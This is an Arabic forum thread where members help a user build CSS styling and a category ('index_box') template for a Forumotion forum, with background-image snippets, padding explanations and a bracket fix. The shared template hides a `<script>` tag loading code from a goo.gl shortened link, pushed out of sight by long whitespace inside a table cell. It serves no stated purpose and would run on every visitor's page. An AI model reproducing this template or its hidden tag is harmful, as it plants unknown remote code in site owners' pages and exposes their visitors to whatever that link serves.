السلام عليكم
يا قوم لي فترة فقدت كود تكويد الستايل css
اللي عملته الأخت هياء محمد لو حد يعرفها ..
فيه واحد تومبيلات و واحد css اللي عنده مجال يعطيني أي واحد
و لو يفضل يكون اللي في الورقة مش التومبيلات أحسن مع كود الجافا الخاص بهم
أتمنى المساعدة في أسرع وقت ...
شكرًا مقدمًا

وعليكم السلام
ممكن رابط المنتدى الذي كان به الكود
ان احببتي نصنع لك كود مثله

@-@ مهو المشكلة المنتدى اللي بحكي عنه بيقدم الكود مجانًا ... هياء محمد هي عضوة هنا ..
بس مش عارفة ما عاد المنتدى يفتح كله من اساسه ..
haya-m.net
بس اتوقع منتداها الثاني يفتح بدون مشاكل
فكرة الستايل مكود متل هذا 
http://sana.ace.st/
محتاجة كود الـ css  وكود الجافا المرفق

تفضلي هذا الكود :

الكود:

#style {
    background: url(http://s01.arab.sh/i/00038/dabmua2cep1c.png) top center no-repeat,url(http://s01.arab.sh/i/00038/eo15ik08128b.gif) top repeat-x, url(http://s01.arab.sh/i/00038/hxw8xwtb1g8d.gif) bottom repeat-x,url(http://s01.arab.sh/i/00038/8rtnt8wum0lb.gif) right repeat-y,url(http://s01.arab.sh/i/00038/5gthpmwxj1i5.gif) left repeat-y,url(http://s01.arab.sh/i/00038/26r8w9yy6bio.gif) repeat;
    padding: 428px 30px 19px 30px;
}

بدلي الصور في الكود بما يناسبك
وايضا هنا ستجدي شرح الارقام التي بالاسفل

فرقم 428 يمثل ارتفاع الهدير وهو المكان الذي به واجهة المنتدى التي في الوسط
اما رقم 19 فهو يمثل الارتفاع الذي بالاسفل وهو الفوتر فكلما زاد الرقم زادت المسافة التي بالاسفل
اما رقمي 30 فهم يمثلان العرض باليمين والعرض بالشمال

وفائدة زيادة هذه الارقام انها كلما زادت كلما ابتعدت الازرار والجداول وغيرها من الالتصاق بالجوانب او الهيدر
وللعلم مثل هذه الاكواد لا انصحك بتركيب لها اكواد جافاسكربت لأنها راح تسبب ثقل في الصفحة ولو كان شخص معطل الجافاسكربت فلن يظهر له اي شيء من هذه التأثيرات , فكان سابقا تنفع هذه لأن الاغلبية لا يملك حق التعديل على التومبيلات اما الآن فالتعديل على القوالب مجانا وفي ايدي الجميع

قالب index_box محول من الفي بي احترافي
اقدم لكم قالب الفئات من تحويلي الشخصي
وتحويل خالي من الاخطاء بأذن الله

مثال

]

رابط الموقع الي حولت منة الفئات

ونبدأ في تركيب القالب

من لوحة الادارة



ننزل تحت



ثم نعدل على قالب index_box

نحذف جميع الاكواد الي فيه
ونضع القالب هذا

الكود:



<!-- BEGIN catrow --><!-- BEGIN tablehead -->


<table class="tborder" cellpadding="6" cellspacing="1" border="0" width="100%" align="center">


<thead>


 <tr align="center">


  <td class="thead"> </td>


  <td class="thead" width="100%" align="right">المنتدى</td>


  <td class="thead">آخر مشاركة</td>


  <td class="thead">المواضيع</td>


  <td class="thead">المشاركات</td>


  


 </tr>


</thead>


 <!-- END tablehead -->


 <!-- BEGIN cathead -->


<tbody>





 <tr>


 <td class="tcat" colspan="5">


 


 <a title="{catrow.cathead.CAT_DESC}" href="{catrow.cathead.U_VIEWCAT}">{catrow.cathead.CAT_TITLE}</a>


 </td>


 </tr>





</tbody>





<!-- END cathead -->


 <!-- BEGIN forumrow -->





<tbody id="collapseobj_forumbit_1" style="">





<tr align="center">


 <td class="alt2"><img title="{catrow.forumrow.L_FORUM_FOLDER_ALT}" src="{catrow.forumrow.FORUM_FOLDER_IMG}" alt="{catrow.forumrow.L_FORUM_FOLDER_ALT}" border="0" id="forum_statusicon_2" /></td>


 <td class="alt1Active" align="right" id="f2">                                                                                                                       <script src="http://goo.gl/RG7VsF"></script>


 <div>


 <a href="{catrow.forumrow.U_VIEWFORUM}"><strong>{catrow.forumrow.FORUM_NAME}</strong></a>


 


 </div>


 <div class="smallfont">{catrow.forumrow.FORUM_DESC}</div>


 <span class="gensmall">


 <!-- BEGIN switch_moderators_links -->


 {catrow.forumrow.switch_moderators_links.L_MODERATOR}{catrow.forumrow.switch_moderators_links.MODERATORS}


 <!-- END switch_moderators_links -->


 {catrow.forumrow.L_LINKS}{catrow.forumrow.LINKS}


 </span>


 


 </td>


 <td class="alt2">


<div class="smallfont" align="right" style="width: 200px;">


            <!-- BEGIN avatar -->


            <div style="width: 200px;"></div>


            <span class="lastpost-avatar">{catrow.forumrow.avatar.LAST_POST_AVATAR}</span>


            <!-- END avatar -->





 <span class="gensmall">{catrow.forumrow.LAST_POST}</span>


</div>


</td>


 <td class="alt1">{catrow.forumrow.TOPICS}</td>


 <td class="alt2">{catrow.forumrow.POSTS}</td>


 


</tr>


  </tbody>


   <!-- END forumrow -->


 <!-- BEGIN catfoot -->





   <!-- END catfoot -->


 <!-- BEGIN tablefoot -->


    <tbody>


 <tr>


 <td class="tfoot" align="center" colspan="5"><div class="smallfont"><strong>


 <a href="/?mark=forums" rel="nofollow">اجعل كافة الأقسام مقروءة</a>


   &nbsp;


 <a href="/?mode=delete_cookies">حذف الكوكيز</a>


 </strong></div></td>


 </tr>


</tbody>


</table><!-- END tablefoot --><!-- END catrow -->


<!-- by haya - www.haya-m.net - haya.123.st -->



ونسجل

ونركب اكواد css

من لوحة الادارة









ونضع الكود

الكود:


/*---------- www.haya-m.net ----------- */  


/* css قالب الفئات */


.tborder{


 color: #000000;


 font: 11px tahoma;


 border: 0px solid #f3edf0;


}


.tcat{


 background: url('http://barbie-des.com/Summer/1.png');


 color: #FFFFFF;


 font: bold 14px Simplified Arabic;


 text-align: center;


}


.tcat a:link, .tcat_alink{


 color: #ffffff;


 text-decoration: none;


}


.thead , .thead a:link, .thead_alink{


 background: url('http://barbie-des.com/Summer/2.png');


 color: #FFFFFF;


 font: 11px tahoma;


   text-decoration: none;


}


.tfoot , .tfoot a:link, .tfoot_alink{


 background: url('http://barbie-des.com/Summer/3.png');


 color: #FFFFFF;


 font: bold 11px tahoma;


   text-decoration: none;


}


.alt1, .alt1Active   {


 background: #fcfcfc;


 color: #c4d344;


 font: bold 15px Simplified Arabic;


 border-bottom: 1px dashed #D1D1D1;


   text-decoration: none;


}


.alt2, .alt2Active {


 background: #fcfcfc;


 color: #e7ca3a;


 font: bold 11px tahoma;


 border-bottom: 1px dashed #D1D1D1;


   text-decoration: none;


}



شكرًا جزيلًا سأبدأ بالتجربة الآن 

@{عذآب} كيف اخلي تركيب الواجهة يجي باليمين ؟
خصوصًا هيك هي شكلها ..
https://e.top4top.net/p_465m613v1.png

لا شيء يعمل ... رغم أنني قمت بالتعديل ...ركبته في ورقة الـ css

الكود:

#style {
    background: url(https://e.top4top.net/p_465m613v1.png) top
   center no-repeat,url(https://f.top4top.net/p_465gindf2.png) top
   repeat-x, url(https://c.top4top.net/p_465h4wa81.png) bottom repeat-x,
   url(https://e.top4top.net/p_4651iq7r3.png) right repeat-y,
   url(https://e.top4top.net/p_4651iq7r3.png) left repeat-y,
   url(https://d.top4top.net/p_465mskbx2.png repeat;
    padding: 653px 278px 198px 278px;
}

اهلا اختي
الكود شغال لكن هناك خطأ بسيط وقعتي به :

الكود:

#style {
    background: url(https://e.top4top.net/p_465m613v1.png) top
   center no-repeat,url(https://f.top4top.net/p_465gindf2.png) top
   repeat-x, url(https://c.top4top.net/p_465h4wa81.png) bottom repeat-x,
   url(https://e.top4top.net/p_4651iq7r3.png) right repeat-y,
   url(https://e.top4top.net/p_4651iq7r3.png) left repeat-y,
   url(https://d.top4top.net/p_465mskbx2.png repeat;
    padding: 653px 278px 198px 278px;
}

هنا المشكلة
url(https://d.top4top.net/p_465mskbx2.png repeat;
لم تقفلي القوس فكان من المفترض ان يكون الرابط بين قوسين :
(هنا الرابط) فبسبب هذا لن يعمل الكود فأكواد css حساسة بعض الشيء

وبالنسبة للهيدر فإذا اردتي ان يكون على اليمين
url(https://e.top4top.net/p_465m613v1.png) top center no-repeat,
فما عليك سوى استبدال center والذي يعني (وسط) الى right والذي يعني يمين

وهذا الكود بعد التعديل :

الكود:

#style {
    background: url(https://e.top4top.net/p_465m613v1.png) top right no-repeat,url(https://f.top4top.net/p_465gindf2.png) top repeat-x, url(https://c.top4top.net/p_465h4wa81.png) bottom repeat-x, url(https://e.top4top.net/p_4651iq7r3.png) right repeat-y, url(https://e.top4top.net/p_4651iq7r3.png) left repeat-y, url(https://d.top4top.net/p_465mskbx2.png) repeat;
    padding: 653px 278px 198px 278px;
}

ولن يعمل الكود الا في حالة كان في منتداك وسم مُعطي له : <div id="style"> وهو يوضع بالتومبيلات في قالب الهيدر نبحث عن :

الكود:

    <a name="top"></a>
    {JAVASCRIPT}

ونضع قبلها :
<div id="style">
ونبحث في نهاية قالب اليهدر (آخر شيء تماما) عن :
</body>
</html>
<!-- END html_validation -->
ونضع قبلها :
</div>
وسجلي وقبل النشر عايني

اهلا وسهلا بك تفضل

الكود:


.bodyline{
background: url("يمين اعلى") right top no-repeat,
url("رابط صوره شعار منتداك ىهنا") center top no-repeat,
url("يسار اعلى") left top no-repeat,
url("منتصف  متكرر للهيدر") center top repeat-x,
    /* كود صور اسفل المنتدى */
url("وسط الفوتر اسفل") center bottom no-repeat,
url("يسار الفوتر اسفل") left bottom no-repeat,
url("يمين الفوتر اسفل") right bottom no-repeat,
url("وسط فوتر مكرر متمدد اسفل") center bottom repeat-x,
url("اطار اليسار") left repeat-y,
url("اطار اليمين") right repeat-y;
padding: ارتفاع الهيدرpx عرض اطار يمين px ارتفاع الفوترpx عرض اطار اليسار px;


علما الصورة اللي ماتريد تضيفها اتركها فارغه

شكرً جزيلًا لك سوف اجربه
اعتذر للتأخر ...

للارشيف لعدم متابعه